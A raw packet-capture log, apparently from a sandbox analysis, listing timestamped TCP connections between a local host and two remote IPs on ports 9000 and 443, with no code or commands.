Jul 27, 2024 16:57:45.868263960 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.868297100 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.868318081 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.868330002 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.868362904 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.868386030 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.916832924 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.940306902 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.940356016 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.940392017 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.940469027 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.940512896 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.940556049 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.940584898 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.940591097 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.940625906 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.940644026 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.940660000 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.940694094 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.940726995 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.940736055 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.940759897 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.940783978 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.940794945 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.940834999 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.940869093 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.940901995 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.940933943 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.940967083 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.940999985 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.941032887 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.941077948 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.941082954 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.941082954 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.941082954 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.941083908 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.941123009 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.941157103 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.941158056 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.941194057 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.941220999 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.941227913 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.941262007 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.941281080 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.941293955 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.941330910 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.941350937 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.957750082 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.957850933 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.957885981 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.957917929 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.957953930 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.957987070 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.958003998 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.958004951 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.958004951 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.958028078 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.958058119 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.958079100 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.958137989 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.964004993 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.964256048 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.992970943 CEST	49732	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.998455048 CEST	9000	49732	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.998547077 CEST	49732	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:46.014183044 CEST	49732	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:46.019587994 CEST	9000	49732	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:47.452511072 CEST	9000	49732	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:47.494769096 CEST	49732	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:47.517702103 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:47.517782927 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:47.517879009 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:47.519156933 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:47.519192934 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:50.915070057 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:50.915477991 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:50.916630983 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:50.916887999 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:50.919912100 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:50.919965029 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:50.920515060 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:50.963624001 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:50.969151974 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:51.012588978 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:51.548980951 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:51.549043894 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:51.549258947 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:51.549318075 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:51.549396992 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:51.550390005 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:51.550673008 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:51.552141905 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:51.552352905 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:51.556011915 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:51.556241035 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:51.641139030 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:51.641220093 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:51.641940117 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:51.642009974 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:51.642780066 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:51.642853022 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:51.643235922 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:51.643300056 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:51.643928051 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:51.644004107 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:51.644917011 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:51.645005941 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:51.645524025 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:51.645590067 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:51.648171902 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:51.648281097 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.230825901 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.230911016 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.230954885 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.231019974 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.231056929 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.231115103 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.231151104 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.231209993 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.234421968 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.234497070 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.234554052 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.234625101 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.234688044 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.234750986 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.234797955 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.234859943 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.234950066 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.235008955 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.235049009 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.235111952 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.235150099 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.235210896 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.235245943 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.235300064 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.237379074 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.237466097 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.237507105 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.237575054 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.237615108 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.237673998 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.237703085 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.237761021 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.341159105 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.341279030 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.341293097 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.341320992 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.341358900 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.341392040 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.341413021 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.341476917 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.341516972 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.341588974 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.341624022 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.341686010 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.341722965 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.341784000 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.341816902 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.341890097 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.659087896 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.659279108 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.659475088 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.659476042 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.659537077 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.659899950 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.742835045 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.743010998 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.743182898 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.743186951 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.743186951 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.743247986 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.743303061 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.743309975 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.743309975 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.743330002 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.743350983 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.743398905 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.743458033 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.743474007 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.743503094 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.743606091 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.743666887 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.743685007 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.743707895 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.743710041 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.743740082 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.743753910 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.743781090 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.743815899 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.743870974 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.743882895 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.743911028 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.743937016 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.743948936 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.743978977 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.744007111 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.744060993 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.744072914 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.744098902 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.744121075 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.744132042 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.744160891 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.779407978 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.779519081 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.779623985 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.779644966 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.779711962 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.779743910 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.779748917 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.779769897 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.779784918 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.779819012 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.779834986 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.779912949 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.780004978 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.780073881 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.780134916 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.780179024 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.780183077 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.780210972 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.780232906 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.780451059 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.780508041 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.780559063 CEST	49733	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.780572891 CEST	443	49733	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.851497889 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.851567030 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:52.851632118 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.851948023 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:52.851977110 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:54.924609900 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:54.924825907 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:54.927288055 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:54.927476883 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:54.930804968 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:54.930857897 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:54.931377888 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:54.933414936 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:54.976579905 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:55.635560036 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:55.635627031 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:55.635778904 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:55.635809898 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:55.635879040 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:55.635915995 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:55.635920048 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:55.635982990 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:55.636006117 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:55.636084080 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:56.103470087 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:56.103676081 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:56.779318094 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:56.779567957 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:56.785628080 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:56.785739899 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:56.797300100 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:56.797482967 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:56.801171064 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:56.801259041 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:56.806083918 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:56.806178093 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:56.811826944 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:56.812005997 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:56.819159031 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:56.819421053 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:56.822809935 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:56.822961092 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:56.830343008 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:56.830528975 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:56.832434893 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:56.832542896 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:57.192068100 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:57.192154884 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:57.195368052 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:57.195446014 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:57.202462912 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:57.202651978 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:57.205068111 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:57.205142975 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:57.211998940 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:57.212064981 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:57.212831020 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:57.212919950 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:57.220762968 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:57.220951080 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:57.560666084 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:57.560764074 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:57.563179016 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:57.563267946 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:57.568438053 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:57.568604946 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:57.571461916 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:57.571650028 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:58.059078932 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:58.059149027 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:58.063796997 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:58.063884020 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:58.065426111 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:58.065507889 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:58.070899010 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:58.070987940 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:58.072917938 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:58.073012114 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:58.298793077 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:58.299063921 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:58.301482916 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:58.301722050 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:58.305753946 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:58.305929899 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:58.312624931 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:58.312840939 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:58.313365936 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:58.313538074 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:58.317511082 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:58.317596912 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:58.554409027 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:58.554578066 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:58.558216095 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:58.558409929 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:58.562925100 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:58.563097000 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:58.564775944 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:58.564938068 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:58.566092014 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:58.566162109 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:58.854790926 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:58.854969978 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:58.857997894 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:58.858206987 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:59.237884998 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:59.238203049 CEST	49734	443	192.168.2.4	39.97.203.118
